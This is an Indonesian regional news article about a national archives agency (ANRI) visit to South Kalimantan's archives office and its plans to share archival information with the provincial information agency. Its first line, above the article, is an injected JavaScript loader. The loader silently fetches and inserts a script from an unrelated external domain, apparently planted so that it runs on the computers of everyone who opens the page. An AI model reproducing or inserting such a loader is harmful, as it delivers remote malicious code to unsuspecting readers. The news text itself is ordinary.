(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan kedatangan tamu dari Tim Arsip Nasional Republik Indonesia (ANRI) yang melakukan kunjungan kerja ke Depo Arsip Dispersip Kalsel dan Dinas Komunikasi dan Informatika (Diskominfo) Kalsel, Senin (25/11/2021).
Kepala Pusat Pengkajian dan Pengembangan Sistem Kearsipan Drs Hilman Rosmana MHum didampingi oleh Penanggung Jawab Pengembangan Simpul Jaringan Informasi Kearsipan, Agung. Hilman mengatakan, yang melatarbelakangi kunjungan tersebut diatur dalam Undang-Undang Nomor 43 Tahun 2019 tentang Kearsipan.
“Tujuan sistem kearsipan nasional ini untuk mendinamiskan penyelenggaraan kearsipan sebagai pertanggungjawaban dalam berkehidupan berbangsa dan bernegara,” ungkapnya.
Dikatakan Hilman, kunjungan ini mempunyai inti yaitu penyelamatan dan pelestarian melalui sistem kearsipan nasional.
“Kita juga akan melakukan rekonstruksi jati diri dari nasional maupun pemerintahan daerah khusunya Kalimantan Selatan,” katanya.
Baca juga : Dibunuh karena Lawan Tambang Ilegal, Komnas HAM Diminta Usut Dalang Kasus Tewasnya Jurkani
Hilman berujar dengan adanya rekonstruksi ini informasi yang dikelola oleh Dispersip dapat dilihat oleh masyarakat sebagai langkah dalam mengambil keputusan berikutnya.
“Kami melihat Dispersip ini sebagai simpul jaringan dari sistem informasi kearsipan nasional, kami juga mendukung Dispersip menjadi simpul jaringan yang mandiri dan mampu mengelola informasi menyatukan kesatuan informasi terkait Pemerintahan Provinsi Kalsel dan Kabupaten/Kota,” ujarnya.
Lebih Lanjut, dikatakan Hilman, terkait hasil kunjungan ini terdapat potensi yang besar dalam berkolaborasi dengan Dinas-Dinas lingkup Pemprov Kalsel khususnya Diskominfo Kalsel. Terutama sebagai modal awal untuk menggali dan menghimpun informasi yang ada di Provinsi Kalsel.
“Tidak hanya informasi dari arsip-arsip yang dihasilkan dan dikelola Dispersip Kalsel melainkan juga kolaborasi dengan Dinas yang lain khususnya Diskominfo,” lanjutnya.
“Kita ketahui bahwa Diskominfo merupakan satu dinas yang memilik otoritas di dalam infrastruktur dan kesisteman. Sementara, kearsipan yang memiliki substansi dan informasi,” pungkasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.